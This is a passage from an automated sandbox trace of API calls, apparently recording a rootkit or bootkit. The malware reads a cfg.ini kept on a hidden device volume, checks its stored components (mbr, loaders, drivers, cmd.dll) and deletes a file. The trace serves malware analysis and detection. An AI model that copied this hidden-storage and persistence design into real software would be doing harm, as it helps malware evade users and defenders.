(Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.467] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.467] KeEnterCriticalRegion () [0119.467] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.467] ExFreePoolWithTag (P=0xfffffa8003bdbfb0, Tag=0x0) [0119.467] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.467] KeLeaveCriticalRegion () [0119.467] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.467] ReleaseMutex (hMutex=0xf0) returned 1 [0119.467] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.467] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.467] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.467] KeEnterCriticalRegion () [0119.467] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.467] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.467] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.467] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.467] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.467] IdePortDispatch () returned 0x103 [0119.468] KeWaitForMutexObject () returned 0x0 [0119.468] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.468] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.468] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.468] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.468] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.468] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bdb590 [0119.468] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.468] KeLeaveCriticalRegion () [0119.468] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.468] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.468] KeEnterCriticalRegion () [0119.468] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.468] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.468] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.468] KeLeaveCriticalRegion () [0119.468] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.468] KeEnterCriticalRegion () [0119.468] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.468] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.468] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.468] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.468] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.468] IdePortDispatch () returned 0x103 [0119.468] KeWaitForMutexObject () returned 0x0 [0119.468] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.468] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.468] KeLeaveCriticalRegion () [0119.468] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.468] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.468] KeEnterCriticalRegion () [0119.468] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.468] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d90000 [0119.468] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.468] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.468] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.469] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.469] IdePortDispatch () returned 0x103 [0119.469] KeWaitForMutexObject () returned 0x0 [0119.469] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.469] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.469] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.469] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.469] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.469] IdePortDispatch () returned 0x103 [0119.469] KeWaitForMutexObject () returned 0x0 [0119.469] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.469] KeLeaveCriticalRegion () [0119.469] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.469] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.469] KeEnterCriticalRegion () [0119.470] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.470] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.470] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.470] KeLeaveCriticalRegion () [0119.470] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.470] KeEnterCriticalRegion () [0119.470] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.470] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.470] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdb840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.470] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.470] KeLeaveCriticalRegion () [0119.470] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.470] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.470] KeEnterCriticalRegion () [0119.470] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.470] ExFreePoolWithTag (P=0xfffffa8003bdb590, Tag=0x0) [0119.470] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.470] KeLeaveCriticalRegion () [0119.470] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.470] ReleaseMutex (hMutex=0xf0) returned 1 [0119.470] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.470] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0119.470] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.470] KeEnterCriticalRegion () [0119.470] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.470] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.470] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.470] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.470] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.470] IdePortDispatch () returned 0x103 [0119.470] KeWaitForMutexObject () returned 0x0 [0119.470] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.470] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.470] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.470] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.470] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.470] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003baf9e0 [0119.470] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.471] KeLeaveCriticalRegion () [0119.471] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.471] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.471] KeEnterCriticalRegion () [0119.471] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.471] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.471] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.471] KeLeaveCriticalRegion () [0119.471] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.471] KeEnterCriticalRegion () [0119.471] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.471] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.471] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.471] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.471] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.471] IdePortDispatch () returned 0x103 [0119.471] KeWaitForMutexObject () returned 0x0 [0119.471] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.471] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.471] KeLeaveCriticalRegion () [0119.471] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.471] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.471] KeEnterCriticalRegion () [0119.471] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.471] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d91000 [0119.471] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.471] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.471] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.471] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.471] IdePortDispatch () returned 0x103 [0119.471] KeWaitForMutexObject () returned 0x0 [0119.473] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.473] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.473] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.473] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.473] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.473] IdePortDispatch () returned 0x103 [0119.473] KeWaitForMutexObject () returned 0x0 [0119.473] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.473] KeLeaveCriticalRegion () [0119.473] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.474] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.474] KeEnterCriticalRegion () [0119.474] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.474] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.474] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.474] KeLeaveCriticalRegion () [0119.474] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.474] KeEnterCriticalRegion () [0119.474] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.474] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.474] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.474] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.474] KeLeaveCriticalRegion () [0119.474] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.474] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.474] KeEnterCriticalRegion () [0119.474] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.474] ExFreePoolWithTag (P=0xfffffa8003baf9e0, Tag=0x0) [0119.474] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.474] KeLeaveCriticalRegion () [0119.474] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.474] ReleaseMutex (hMutex=0xf0) returned 1 [0119.474] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0119.474] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0119.474] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0119.474] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.474] KeEnterCriticalRegion () [0119.474] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.474] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.474] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.474] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.474] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.474] IdePortDispatch () returned 0x103 [0119.475] KeWaitForMutexObject () returned 0x0 [0119.475] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.475] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.475] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.475] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.475] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.475] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.475] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.475] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.475] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.475] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.475] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.475] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.475] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.475] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.475] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.475] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.475] KeLeaveCriticalRegion () [0119.475] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.475] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0119.475] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.475] KeEnterCriticalRegion () [0119.475] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.475] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.475] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.475] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.475] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.475] IdePortDispatch () returned 0x103 [0119.475] KeWaitForMutexObject () returned 0x0 [0119.475] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.475] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.475] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.475] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.475] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.475] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.475] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.475] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.475] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.475] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.475] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.476] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.476] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.476] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.476] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.476] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.476] KeLeaveCriticalRegion () [0119.476] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.476] ReleaseMutex (hMutex=0x100) returned 1 [0119.476] Sleep (dwMilliseconds=0x2bf20) [0119.482] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6a695af0, dwHighDateTime=0x1d24fa4)) [0119.482] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0119.482] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.482] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.482] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.482] KeEnterCriticalRegion () [0119.482] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.482] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.482] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.482] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.482] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.482] IdePortDispatch () returned 0x103 [0119.482] KeWaitForMutexObject () returned 0x0 [0119.482] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.482] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.482] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.482] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.482] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.482] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003baf9e0 [0119.482] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.482] KeLeaveCriticalRegion () [0119.482] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.482] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.482] KeEnterCriticalRegion () [0119.482] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.482] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.482] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.482] KeLeaveCriticalRegion () [0119.483] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.483] KeEnterCriticalRegion () [0119.483] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.483] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.483] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.483] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.483] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.483] IdePortDispatch () returned 0x103 [0119.483] KeWaitForMutexObject () returned 0x0 [0119.483] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.483] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.483] KeLeaveCriticalRegion () [0119.483] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.483] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.483] KeEnterCriticalRegion () [0119.483] ExAcquireFastMutexUnsafe (in: 